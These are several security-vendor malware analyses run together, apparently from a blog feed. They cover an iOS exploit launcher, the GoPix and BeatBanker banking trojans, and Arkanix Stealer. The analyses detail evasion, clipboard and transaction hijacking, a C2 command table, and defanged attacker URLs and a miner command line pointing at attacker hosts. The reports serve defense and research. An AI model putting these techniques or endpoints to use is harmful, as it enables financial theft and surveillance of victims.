The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.
Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.
Launcher
The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.
Conclusions
This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
Infection chain
First-stage payload
If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chain
Initial PowerShell script
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
Folder and file names to be created under the %APPDATA% directory
Obfuscated PowerShell script
Encrypted PowerShell script ps
Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
GoPix configuration file pf
Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
Decrypted PowerShell script “ps”
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architecture
Shellcode
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Memory dropper shellcode
Memory dropper DLL
Main payload shellcode
Main payload DLL
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
GoPix dropper
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function
Main GoPix implant
Clipboard stealing functionality
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
Unique man-in-the-middle attack
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
CRC32
Target
8BD688E8
local
8CA8ACFF
www2.banco********.com.br
AD8F5213
autoatendimento.********.com.br
105A3F17
www2.****.com.br
B477FE70
internetbanking.*******.gov.br
785F39C2
loginx.********.br
C72C8593
internetpf.*****.com.br
75E3C3BA
internet.*****.com.br
FD4E6024
internetbanking.*******.com.br
HTTPS interception
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
Conclusion
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
–
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
–
Wallet patcher
/api/wallet-patcher/{payload_id}
Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector
/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authors’ debugging purposes.
